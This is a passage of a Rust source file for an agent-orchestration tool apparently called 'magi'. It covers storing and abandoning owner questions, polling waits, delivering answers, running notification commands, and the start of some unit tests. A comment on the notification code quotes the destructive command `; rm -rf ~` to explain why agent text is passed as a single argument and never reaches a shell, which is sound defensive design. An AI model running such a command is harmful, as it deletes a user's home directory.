1758    /// the run, so there is nobody left to hand an answer to, and a question
1759    /// left open would keep asking the operator for a decision that can no
1760    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1761    /// イルが見つかりません" with two buttons, for a run whose directory had
1762    /// been gone for two hours.
1763    ///
1764    /// Abandoned rather than deleted, because [`Question::abandon`] already
1765    /// means "this can no longer be answered" and the record of having asked
1766    /// is worth keeping. Answered questions are left exactly as they are.
1767    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1768        let mut abandoned = 0;
1769        for mut q in self.open_for(run) {
1770            q.abandon(why);
1771            self.put(&mut q)?;
1772            abandoned += 1;
1773        }
1774        Ok(abandoned)
1775    }
1776
1777    /// Abandon a run's open questions once `status` says the run is not
1778    /// coming back, worded with what it actually became.
1779    ///
1780    /// The run-deleted case above and this one are the same fact - nobody is
1781    /// left to read an answer - reached by two different doors. This is the
1782    /// one for a run that finished on its own: merged, reached `Ready` with
1783    /// nothing left to do, failed outright with no established point to
1784    /// resume from, or every candidate agreed, with evidence, that nothing
1785    /// belonged in the worktree. Those are exactly the statuses
1786    /// [`RunStatus::resumable`]
1787    /// excludes, and that is the line this draws too - deliberately not
1788    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1789    /// over. Both of those can still be picked back up with the candidates,
1790    /// the review round and the seat sessions already on disk, so a question
1791    /// asked mid-round may yet get a real answer from a real resume, and
1792    /// folding it here would be exactly the mistake this function exists to
1793    /// avoid on the other side - answering back into a run that no longer
1794    /// exists to read it.
1795    ///
1796    /// A no-op, not an error, when `status` is still resumable or when there
1797    /// was nothing open to begin with - callers reach this from more than one
1798    /// place a run can settle, and a second call finding nothing left to
1799    /// abandon is the expected case, not a bug.
1800    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1801        if status.resumable() {
1802            return Ok(0);
1803        }
1804        let why = format!(
1805            "run {run} {}, so nothing is waiting for this answer",
1806            status.as_str()
1807        );
1808        // A post-merge notice is the exception: it is filed *because* the run
1809        // merged, and no agent waits on it - it is a to-do for the owner, not
1810        // a question a dead seat asked. Abandoning it here would erase the
1811        // only alert the moment the run settles.
1812        let mut abandoned = 0;
1813        for mut q in self.open_for(run) {
1814            if q.node == crate::bump::NOTICE_NODE {
1815                continue;
1816            }
1817            // A routed task decision not yet delivered is a pending message
1818            // for the chat, not a question the dead seat waits on; the
1819            // sweep retires it once it is queued.
1820            if q.routed_task.is_some() && q.routed_chat.is_none() {
1821                continue;
1822            }
1823            q.abandon(&why);
1824            self.put(&mut q)?;
1825            abandoned += 1;
1826        }
1827        Ok(abandoned)
1828    }
1829
1830    /// Expand an id prefix to exactly one question id. The short id the phone
1831    /// and the reports show is a suffix, so that is accepted too.
1832    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1833        use crate::queue::{Reference, record_ids, resolve_reference};
1834        let ids = record_ids(&self.root, "json")?;
1835        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1836            Reference::Found(id) => Ok(id),
1837            Reference::Missing => bail!("no question matches `{prefix}`"),
1838            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1839        }
1840    }
1841
1842    /// Newest modification time in the store, in milliseconds, for change
1843    /// detection. The web UI compares this instead of re-reading every
1844    /// question, so an idle phone on a slow link costs one `stat` per file.
1845    pub fn revision(&self) -> u64 {
1846        std::fs::read_dir(&self.root)
1847            .into_iter()
1848            .flatten()
1849            .flatten()
1850            .filter_map(|e| e.metadata().ok())
1851            .filter_map(|m| m.modified().ok())
1852            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1853            .map(|d| d.as_millis() as u64)
1854            .max()
1855            .unwrap_or(0)
1856    }
1857
1858    /// How many questions are open, whichever side of the conversation is
1859    /// holding the ball right now. Ten turns of back and forth between the
1860    /// owner and the agent are still one open question - see
1861    /// [`Question::say`] - so this does not drop while a reply is in
1862    /// flight. [`Self::count_needs_owner`] is the number that does.
1863    pub fn count_open(&self) -> usize {
1864        self.list().iter().filter(|q| q.status.open()).count()
1865    }
1866
1867    /// How many open questions actually need the owner right now: open, and
1868    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1869    ///
1870    /// This is the number a notification channel owes - the ask bar, the nav
1871    /// badge, the document title - because those exist to say "something
1872    /// needs you". An unread say stops needing the agent once its follow-up
1873    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1874    /// where a round trip must not look like the run resumed.
1875    pub fn count_needs_owner(&self) -> usize {
1876        self.list()
1877            .iter()
1878            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1879            .count()
1880    }
1881
1882    /// The follow-up spent its starts and its final turn is no longer alive.
1883    /// Computed from the lease rather than saved with the question, so the
1884    /// owner can decide even when an unread message remains in the thread.
1885    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1886        q.status.open()
1887            && q.deputy
1888                .as_ref()
1889                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1890            && !self
1891                .read_lease(&q.id)
1892                .is_some_and(|l| l.fresh(Timestamp::now()))
1893    }
1894}
1895
1896/// How a wait over [`Question`] ended.
1897#[derive(Debug, Clone, PartialEq, Eq)]
1898pub enum Wait {
1899    /// The owner decided. Carries [`Question::resolution`].
1900    Answered(String),
1901    /// The owner spoke back without deciding - see [`Question::say`]. The
1902    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1903    /// the caller's move is to hand this text to the agent and let it call
1904    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1905    Replied(String),
1906    /// This call's [`WAIT_SLICE`] ran out with the question still
1907    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1908    /// going quiet, the clock on *this process* running out. The question is
1909    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1910    /// process, so the wait resumes before the shell tool that would have
1911    /// killed this one gets the chance.
1912    Pending,
1913    /// Nobody said anything before the deadline, or the question was closed
1914    /// out from under the wait with no decision recorded - a run deleted out
1915    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1916    /// now on disk.
1917    Abandoned,
1918}
1919
1920/// File a question and wait for the owner, polling the store.
1921///
1922/// The question is updated in place from disk whenever the wait ends, so the
1923/// caller can act on it without re-reading it. `timeout` is the question's
1924/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1925/// of it - see [`Wait::Pending`] for what happens to the rest.
1926pub async fn ask_and_wait(
1927    q: &mut Question,
1928    store: &Questions,
1929    notify: &config::Notify,
1930    timeout: Duration,
1931) -> Result<Wait> {
1932    wait_for_owner(q, store, notify, timeout, POLL).await
1933}
1934
1935/// Resume a wait already filed, without adding a turn or notifying again.
1936///
1937/// This is `magi ask --wait <id>`'s engine: the process that owned the
1938/// previous slice is dead (the tool that ran it killed it, or it simply
1939/// exited after reporting [`Wait::Pending`]), but the question on disk never
1940/// stopped being open, and the owner was already notified about it once. A
1941/// second notification for the same unanswered question would page the
1942/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1943/// unlike [`ask_and_wait`], this skips straight to polling.
1944///
1945/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1946/// caller computes it as what remains until [`Question::asked_at`] plus the
1947/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1948/// up the deadline the first ask set, never push it out further.
1949pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1950    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1951}
1952
1953/// [`ask_and_wait`] with the poll interval injected.
1954///
1955/// Separate only so the tests can drive a whole wait in milliseconds instead of
1956/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1957/// a knob the operator gets to tune.
1958async fn wait_for_owner(
1959    q: &mut Question,
1960    store: &Questions,
1961    cfg: &config::Notify,
1962    timeout: Duration,
1963    poll: Duration,
1964) -> Result<Wait> {
1965    // A question that is already on disk (a `--thread` reply just wrote it under
1966    // the lock) is left alone: this copy may predate an answer or say that
1967    // landed since, and writing it back would erase that.
1968    if !store.path_of(&q.id).is_file() {
1969        store.put(q).context("file the question")?;
1970    }
1971    if q.should_notify(Timestamp::now()) {
1972        if let Err(e) = notify(cfg, q).await {
1973            // A broken webhook is not a reason to throw away an implementation.
1974            // The question is already on disk and the web UI already shows it,
1975            // so the operator still has a way in; only the tap on the shoulder
1976            // is lost.
1977            tracing::warn!(
1978                "could not notify about question {}: {e:#} - the web UI is the \
1979                 only surface for it now",
1980                q.short()
1981            );
1982        }
1983    }
1984    tracing::info!(
1985        "question {} from {} is waiting for you: {}",
1986        q.short(),
1987        q.seat,
1988        q.summary
1989    );
1990    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1991}
1992
1993/// Take the wait as this process: beat the lease and note it on the record.
1994fn hold(store: &Questions, id: &str) {
1995    store.beat(id, WaiterKind::Asker);
1996    let took = store.update(id, |q| {
1997        if q.status.open() {
1998            q.waiter = Some(Waiter {
1999                kind: WaiterKind::Asker,
2000                since: Timestamp::now(),
2001            });
2002        }
2003        Ok(())
2004    });
2005    if let Err(e) = took {
2006        tracing::debug!("could not note the wait on question {id}: {e:#}");
2007    }
2008}
2009
2010/// Record the owner's `magi answer --reply` on question `id` (a full id) and
2011/// return what to print. The terminal's direct path and a chat turn's control
2012/// bridge ([`crate::chat_control::Operation::Answer`]) both land here, so a
2013/// chat answer is the same ordinary answer whatever the turn's sandbox.
2014///
2015/// A choice reply is resolved against the offered labels; a free-text question
2016/// takes the reply verbatim. `title` is the literal replacement for the posting
2017/// gate's `use my text` choice and is refused anywhere else. Side effects of
2018/// the answer itself (an obsolete approval's dismissal saving its run record)
2019/// happen in [`Questions::update`]; existing consumers act on the rest.
2020pub fn record_answer(
2021    store: &Questions,
2022    id: &str,
2023    reply: &str,
2024    title: Option<&str>,
2025) -> Result<String> {
2026    let home = store
2027        .root()
2028        .parent()
2029        .context("questions have no state home")?;
2030    let queue = crate::queue::Queue::at(home.join("queue"));
2031    let question = store.get(id)?;
2032    let _claims = crate::chat_control::decision_claims(&queue, &question)?;
2033    let (q, ()) = store.update(id, |r| {
2034        let answer = if r.free_text() {
2035            Answer::Text(reply.to_owned())
2036        } else {
2037            Answer::Choice(r.resolve_reply(reply)?.to_owned())
2038        };
2039        let replacement = r.node == crate::github_text::ASK_NODE
2040            && matches!(&answer, Answer::Choice(choice) if choice == crate::github_text::USE_MY_TEXT);
2041        if replacement {
2042            let title =
2043                title.context("use my text needs --title with the literal replacement title")?;
2044            if title.trim().is_empty() {
2045                bail!("replacement title must not be empty");
2046            }
2047            r.publication_title = Some(title.to_owned());
2048        } else if title.is_some() {
2049            bail!("--title is only valid for a publication decision's `use my text` choice");
2050        }
2051        r.answer(answer)
2052    })?;
2053    let mut out = format!("answered {} {}", q.short(), q.summary);
2054    let resolution = q.resolution();
2055    let approval = q.node == crate::land::APPROVAL_NODE;
2056    if approval && resolution.as_deref() == Some(crate::merge_decision::DISMISS) {
2057        out.push_str(
2058            "\nObsolete approval ended; its execution is retired, history retained and PR unchanged. No merge or replacement was authorized.",
2059        );
2060    }
2061    if approval
2062        && resolution.as_deref() != Some(crate::merge_decision::DISMISS)
2063        && resolution
2064            .as_deref()
2065            .is_some_and(crate::merge_decision::stops)
2066    {
2067        out.push_str(&format!(
2068            "\nDecision recorded; the existing owner must resume to apply it. This answer command has not closed a PR, dispatched replacement work or approved a merge. A running magi serve / magi web resumes the parked owner; otherwise use `magi run --resume {}`. Do not create another task.",
2069            q.run
2070        ));
2071    }
2072    if approval && resolution.as_deref() == Some(crate::land::REPAIR) {
2073        out.push_str(&format!(
2074            "\nRepair requested; this answer command has not started repair or approved a merge. \
2075             A running magi serve / magi web resumes the existing run. Without one, \
2076             run `magi run --resume {}` to start repair and re-review; do not create another task or run.",
2077            q.run
2078        ));
2079    }
2080    Ok(out)
2081}
2082
2083/// Record that the agent has read everything so far, so the daemon waiter does
2084/// not resume a session to tell it what was already printed.
2085///
2086/// Callers must invoke this only **after** the word reached the agent's stdout:
2087/// marking first would let a tool timeout kill the process between the mark
2088/// and the print, and the waiter would then consider a word delivered that no
2089/// agent ever saw.
2090pub fn hand_over(store: &Questions, q: &mut Question) {
2091    let done = store.update(&q.id, |r| {
2092        r.delivered_turns = r.delivered_turns.max(q.thread.len());
2093        if r.status == QuestionStatus::Answered {
2094            r.answer_delivered = true;
2095        }
2096        r.waiter = None;
2097        Ok(())
2098    });
2099    match done {
2100        Ok((fresh, ())) => *q = fresh,
2101        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
2102    }
2103}
2104
2105/// What the agent is shown for an answer: the owner's says it has not read
2106/// yet, in order, then the answer. With no such say it is `answer` itself,
2107/// byte for byte.
2108pub fn answer_for_agent(q: &Question, answer: &str) -> String {
2109    let says = q.undelivered_owner_turns();
2110    if says.is_empty() {
2111        return answer.to_owned();
2112    }
2113    format!(
2114        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
2115        says.join("\n\n")
2116    )
2117}
2118
2119/// Print an answer (with any unread says before it) to `out`, flush, and only
2120/// then record the hand-over. A failed write marks nothing delivered.
2121pub fn deliver_answer(
2122    store: &Questions,
2123    q: &mut Question,
2124    answer: &str,
2125    out: &mut impl std::io::Write,
2126) -> std::io::Result<()> {
2127    writeln!(out, "{}", answer_for_agent(q, answer))?;
2128    out.flush()?;
2129    hand_over(store, q);
2130    Ok(())
2131}
2132
2133/// The polling loop shared by a fresh wait and a resumed one.
2134///
2135/// `timeout` is the budget left before the question's `answer_timeout`
2136/// truly runs out; `slice` bounds how much of that this one call spends
2137/// before handing control back. Landing on `slice` while `timeout` still has
2138/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
2139/// silence. Landing on `timeout` itself - because it was no bigger than
2140/// `slice` to begin with - is the real thing, and abandons the question
2141/// exactly as a single unsliced wait always did.
2142async fn wait_loop(
2143    q: &mut Question,
2144    store: &Questions,
2145    timeout: Duration,
2146    slice: Duration,
2147    poll: Duration,
2148) -> Result<Wait> {
2149    // The owner may already have spoken back before this call ever started -
2150    // most often because they did so in the gap between an earlier call
2151    // reporting `Wait::Pending` and this one picking the wait back up with
2152    // `--wait`. That word must surface at once rather than sit unnoticed
2153    // until some *later* turn happens to change something: this call never
2154    // saw it get added, so nothing below would otherwise recognise it as
2155    // new. `last_word_awaiting_reply` reads the question's own record of
2156    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
2157    // turn count this call would have to have been there to capture.
2158    if let Some(said) = q.unread_from_owner() {
2159        return Ok(Wait::Replied(said));
2160    }
2161    hold(store, &q.id);
2162
2163    let bounded = timeout.min(slice);
2164    let is_the_real_deadline = bounded >= timeout;
2165    let deadline = tokio::time::Instant::now() + bounded;
2166    loop {
2167        let now = tokio::time::Instant::now();
2168        if now >= deadline {
2169            if !is_the_real_deadline {
2170                // The lease is left to age out on purpose: the caller is about
2171                // to run `magi ask --wait`, and that gap is what LEASE_TTL
2172                // covers.
2173                return Ok(Wait::Pending);
2174            }
2175            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2176            // Re-checked on the record as it is now: the owner may have said
2177            // something in time since the last poll, and that word is handed
2178            // over, not abandoned.
2179            let (fresh, unread) = store
2180                .update(&q.id, |r| {
2181                    let unread = r.unread_from_owner();
2182                    if unread.is_none() {
2183                        r.abandon(&why);
2184                        r.waiter = None;
2185                    }
2186                    Ok(unread)
2187                })
2188                .context("record the abandoned question")?;
2189            *q = fresh;
2190            if let Some(said) = unread {
2191                return Ok(Wait::Replied(said));
2192            }
2193            tracing::warn!(
2194                "question {} went unanswered for {}s; the run parks and the \
2195                 question stays as the record of it",
2196                q.short(),
2197                timeout.as_secs()
2198            );
2199            return Ok(Wait::Abandoned);
2200        }
2201        tokio::time::sleep(poll.min(deadline - now)).await;
2202        store.beat(&q.id, WaiterKind::Asker);
2203        match store.get(&q.id) {
2204            Ok(fresh) if !fresh.status.open() => {
2205                // Whoever answered - the phone, `magi answer`, another daemon -
2206                // owns the record now, so adopt theirs wholesale rather than
2207                // merging into a copy that predates it.
2208                *q = fresh;
2209                return Ok(match q.resolution() {
2210                    Some(a) => Wait::Answered(a),
2211                    // Closed with no decision - abandoned elsewhere, most
2212                    // often by the run behind it being deleted mid-wait.
2213                    None => Wait::Abandoned,
2214                });
2215            }
2216            Ok(fresh) => {
2217                if let Some(said) = fresh.unread_from_owner() {
2218                    *q = fresh;
2219                    return Ok(Wait::Replied(said));
2220                }
2221                // Still open and not waiting on the agent - nothing this
2222                // wait cares about happened, so keep polling.
2223            }
2224            Err(e) => {
2225                // Mid-rename, or a file the operator is editing by hand.
2226                // Neither is a reason to abandon a question a human may still
2227                // answer, so keep polling until the deadline decides.
2228                tracing::debug!("could not re-read question {}: {e:#}", q.short());
2229            }
2230        }
2231    }
2232}
2233
2234/// Run the operator's notification command, if one is configured.
2235///
2236/// The command is argv, never a shell string, and the substitutions below are a
2237/// single pass over each argument: a summary containing `; rm -rf ~` is one
2238/// argument to one program, and a summary containing the characters `{run}` is
2239/// not re-expanded. That property is the reason agent-authored text can be put
2240/// in a notification at all.
2241///
2242/// An error here is reported, not swallowed, so `magi notify --test` can show
2243/// the operator why nothing arrives. The waiting path logs it and carries on.
2244pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2245    if q.routed_task.is_some() {
2246        return Ok(());
2247    }
2248    let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2249    if q.status.open() {
2250        summary.push_str(&format!(
2251            " Respond in Questions or with `magi answer {}`.",
2252            q.id
2253        ));
2254    }
2255    let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2256    notify_at(cmd, &q.run, &summary, &url).await
2257}
2258
2259/// [`notify`] for an event that is not a question: the same command, the same
2260/// placeholders, with `summary` and `run` supplied directly.
2261pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2262    let url = view_url(
2263        &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2264        "notifications",
2265    );
2266    notify_at(cmd, run, summary, &url).await
2267}
2268
2269async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2270    let Some((program, args)) = cmd.command.split_first() else {
2271        // No command configured: the web UI is the only surface, by choice.
2272        return Ok(());
2273    };
2274    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2275        tracing::warn!(
2276            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2277             so the link will be empty - export it next to `magi serve` with \
2278             the address `magi web --open` printed"
2279        );
2280    }
2281    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2282    tracing::debug!(program = %program, args = ?argv, "notifying");
2283
2284    let mut child = tokio::process::Command::new(program);
2285    child.quiet();
2286    child
2287        .args(&argv)
2288        .stdin(std::process::Stdio::null())
2289        // Killed if the timeout below drops this future: a notification
2290        // command left running would outlive the run it was announcing.
2291        .kill_on_drop(true);
2292    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2293        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2294        Err(_) => bail!(
2295            "notification command `{program}` did not finish within {}s",
2296            NOTIFY_TIMEOUT.as_secs()
2297        ),
2298    };
2299    if !out.status.success() {
2300        let stderr = String::from_utf8_lossy(&out.stderr);
2301        let why = stderr
2302            .lines()
2303            .rev()
2304            .find(|l| !l.trim().is_empty())
2305            .unwrap_or("no output on stderr")
2306            .trim();
2307        bail!(
2308            "notification command `{program}` exited with {}: {why}",
2309            out.status
2310        );
2311    }
2312    Ok(())
2313}
2314
2315/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
2316///
2317/// One left-to-right pass, so a substituted value is never scanned for further
2318/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
2319/// in a question must not make the notification recursive.
2320fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2321    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2322    let mut out = String::with_capacity(template.len());
2323    let mut rest = template;
2324    while let Some(at) = rest.find('{') {
2325        out.push_str(&rest[..at]);
2326        let tail = &rest[at..];
2327        match table.iter().find(|(token, _)| tail.starts_with(token)) {
2328            Some((token, value)) => {
2329                out.push_str(value);
2330                rest = &tail[token.len()..];
2331            }
2332            None => {
2333                // Not a placeholder magi knows: it is the operator's own text.
2334                out.push('{');
2335                rest = &tail[1..];
2336            }
2337        }
2338    }
2339    out.push_str(rest);
2340    out
2341}
2342
2343/// Point a configured base URL at the view that can answer the question.
2344///
2345/// A notification the operator has to navigate from is a question that stays
2346/// unanswered until morning, so the questions view is appended - unless the
2347/// operator already wrote a fragment, in which case they have said where they
2348/// want to land and magi does not know better.
2349fn question_url(base: &str) -> String {
2350    view_url(base, "questions")
2351}
2352
2353fn view_url(base: &str, view: &str) -> String {
2354    let base = base.trim().trim_end_matches('/');
2355    if base.is_empty() || base.contains('#') {
2356        return base.to_owned();
2357    }
2358    format!("{base}/#/{view}")
2359}
2360
2361/// Assemble a panel's contents in an already-empty directory.
2362///
2363/// Split out so [`Questions::put_panel`] can delete the whole directory on the
2364/// first error without an early `return` skipping that cleanup.
2365fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2366    let index = dir.join(PANEL_HTML);
2367    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2368    for (name, src) in assets {
2369        let dst = dir.join(name);
2370        std::fs::copy(src, &dst)
2371            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2372    }
2373    Ok(())
2374}
2375
2376/// Remove a directory and everything under it, treating "not there" as done.
2377///
2378/// A panel is replaced wholesale and dropped idempotently, and in both cases
2379/// the absence of the directory is the desired end state, not an error.
2380fn clear_dir(path: &Path) -> Result<()> {
2381    match std::fs::remove_dir_all(path) {
2382        Ok(()) => Ok(()),
2383        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2384        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2385    }
2386}
2387
2388fn read_path(path: &Path) -> Result<Question> {
2389    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2390    let q: Question =
2391        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2392    if q.schema > SCHEMA {
2393        // Strictly newer, not merely different: every field added since
2394        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
2395        // here as "no thread yet" rather than as garbage. Only a schema this
2396        // build has never heard of is refused.
2397        bail!(
2398            "question {} was written by a newer magi (schema {}, this build \
2399             only speaks up to {SCHEMA})",
2400            q.id,
2401            q.schema
2402        );
2403    }
2404    Ok(q)
2405}
2406
2407/// [`short`] for callers outside this module (a run id shortens the same way).
2408pub fn short_id(id: &str) -> &str {
2409    short(id)
2410}
2411
2412fn short(id: &str) -> &str {
2413    id.split('-').next_back().unwrap_or(id)
2414}
2415
2416fn new_id() -> String {
2417    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2418    new_id_at(&stamp.to_string(), crate::rng::entropy())
2419}
2420
2421fn new_id_at(stamp: &str, seed: u64) -> String {
2422    // Questions can be created concurrently in one shared store. A 16-bit
2423    // suffix is only a display label, not enough identity to keep distinct
2424    // questions (and their panel scratch directories) from overwriting each
2425    // other. The counter also separates calls with identical clock entropy.
2426    static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2427    let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2428    format!(
2429        "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2430        (seed ^ (seed >> 32)) & 0xffff
2431    )
2432}
2433
2434#[cfg(test)]
2435mod tests {
2436    use super::*;
2437
2438    /// A store of its own, with no process-global state - which is the point of
2439    /// `Questions::at`, and why these can run in parallel.
2440    fn store() -> (tempfile::TempDir, Questions) {
2441        let dir = tempfile::tempdir().unwrap();
2442        let s = Questions::at(dir.path().join("questions"));
2443        (dir, s)
2444    }
2445
2446    #[test]
2447    fn run_names_task_only_for_task_questions() {
2448        for (node, want) in [
2449            (crate::conduct::NODE, true),
2450            (crate::triage::NODE, true),
2451            (crate::triage::DEPS_NODE, true),
2452            (crate::land::APPROVAL_NODE, false),
2453            (crate::bump::NOTICE_NODE, false),
2454            ("implement", false),
2455        ] {
2456            let mut q = choice_question();
2457            q.node = node.to_owned();
2458            assert_eq!(q.run_names_task(), want, "{node}");
2459        }
2460    }
2461
2462    #[test]
2463    fn deleting_a_run_stops_its_questions_asking() {
2464        let (_dir, store) = store();
2465
2466        let mut open_one = choice_question();
2467        store.put(&mut open_one).unwrap();
2468        let mut answered = free_question();
2469        answered
2470            .answer(Answer::Text("keep this".to_owned()))
2471            .unwrap();
2472        store.put(&mut answered).unwrap();
2473        let mut elsewhere = choice_question();
2474        elsewhere.run = "20260903-105039-3cbf".to_owned();
2475        store.put(&mut elsewhere).unwrap();
2476
2477        let n = store
2478            .abandon_for_run(&open_one.run, "run was deleted")
2479            .unwrap();
2480        assert_eq!(n, 1, "only the open question of that run");
2481
2482        let back = store.get(&open_one.id).unwrap();
2483        assert!(!back.status.open(), "it no longer asks for a decision");
2484        assert!(
2485            back.detail.contains("run was deleted"),
2486            "the operator can see why: {}",
2487            back.detail
2488        );
2489
2490        let kept = store.get(&answered.id).unwrap();
2491        assert_eq!(
2492            kept.status,
2493            QuestionStatus::Answered,
2494            "an answered question is a decision on record, not something to revoke"
2495        );
2496        assert!(
2497            store.get(&elsewhere.id).unwrap().status.open(),
2498            "another run's question is untouched"
2499        );
2500        assert!(store.open_for(&open_one.run).is_empty());
2501    }
2502
2503    #[test]
2504    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2505        let (_dir, store) = store();
2506        let mut q = choice_question();
2507        store.put(&mut q).unwrap();
2508
2509        // `Blocked` can still be resumed - leave it exactly as it was.
2510        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2511        assert_eq!(n, 0);
2512        assert!(store.get(&q.id).unwrap().status.open());
2513
2514        // `Failed` is not - abandon it, with the run and its fate in the
2515        // reason so the owner can tell what happened without a run to read.
2516        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2517        assert_eq!(n, 1);
2518        let back = store.get(&q.id).unwrap();
2519        assert!(!back.status.open());
2520        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2521
2522        // A second call against the same, now-settled run finds nothing left.
2523        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2524    }
2525
2526    #[test]
2527    fn settle_run_keeps_an_undelivered_routed_decision() {
2528        let (_dir, store) = store();
2529        let mut q = choice_question();
2530        q.routed_task = Some("task".into());
2531        store.put(&mut q).unwrap();
2532        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2533        assert!(store.get(&q.id).unwrap().status.open());
2534
2535        // Once the chat has it, the ordinary settlement applies again.
2536        store
2537            .update(&q.id, |r| {
2538                r.routed_chat = Some("chat".into());
2539                Ok(())
2540            })
2541            .unwrap();
2542        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2543    }
2544
2545    fn choice_question() -> Question {
2546        Question::new(
2547            "20260902-201256-9fb7".to_owned(),
2548            "implement".to_owned(),
2549            "impl-A".to_owned(),
2550            "Which storage backend should the cache use?".to_owned(),
2551            "Both are already dependencies.".to_owned(),
2552            vec!["SQLite".to_owned(), "Redis".to_owned()],
2553        )
2554    }
2555
2556    fn free_question() -> Question {
2557        Question::new(
2558            "20260902-201256-9fb7".to_owned(),
2559            "review".to_owned(),
2560            "rev-1".to_owned(),
2561            "What should the error message say?".to_owned(),
2562            String::new(),
2563            Vec::new(),
2564        )
2565    }
2566
2567    /// No notification, which is the default and what most of these want.
2568    fn quiet() -> config::Notify {
2569        config::Notify::default()
2570    }
2571
2572    #[test]
2573    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2574        // The front end parses these names by hand; there is no shared schema
2575        // and no compiler between the two. A rename here is a UI that shows an
2576        // empty card and reports no error, so the names are asserted literally.
2577        let mut q = choice_question();
2578        q.id = "20260902-231501-ab12".to_owned();
2579        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2580        // `serde_json::Value` holds an object's keys sorted, and key order
2581        // means nothing to a JSON reader anyway: the field *set* is what the
2582        // front end was written against, so that is what is pinned here.
2583        let keys: Vec<&str> = open
2584            .as_object()
2585            .unwrap()
2586            .keys()
2587            .map(String::as_str)
2588            .collect();
2589        assert_eq!(
2590            keys,
2591            [
2592                "actions",
2593                "answer",
2594                "answer_delivered",
2595                "answer_timeout",
2596                "answered_at",
2597                "asked_at",
2598                "assets",
2599                "choices",
2600                "consult",
2601                "cwd",
2602                "decision_context",
2603                "delivered_turns",
2604                "deputy",
2605                "detail",
2606                "id",
2607                "merge_target",
2608                "node",
2609                "panel",
2610                "routed_chat",
2611                "routed_task",
2612                "run",
2613                "schema",
2614                "seat",
2615                "status",
2616                "summary",
2617                "thread",
2618                "triage_generation",
2619                "waiter",
2620            ],
2621            "the on-disk field set is a contract with the front end"
2622        );
2623        assert_eq!(open["schema"], 13);
2624        assert_eq!(open["merge_target"], serde_json::Value::Null);
2625        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2626        assert_eq!(open["thread"], serde_json::json!([]));
2627        assert_eq!(open["id"], "20260902-231501-ab12");
2628        assert_eq!(open["run"], "20260902-201256-9fb7");
2629        assert_eq!(open["node"], "implement");
2630        assert_eq!(open["seat"], "impl-A");
2631        assert_eq!(open["status"], "open");
2632        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2633        assert_eq!(open["answered_at"], serde_json::Value::Null);
2634        assert_eq!(open["answer"], serde_json::Value::Null);
2635        let asked = open["asked_at"].as_str().unwrap();
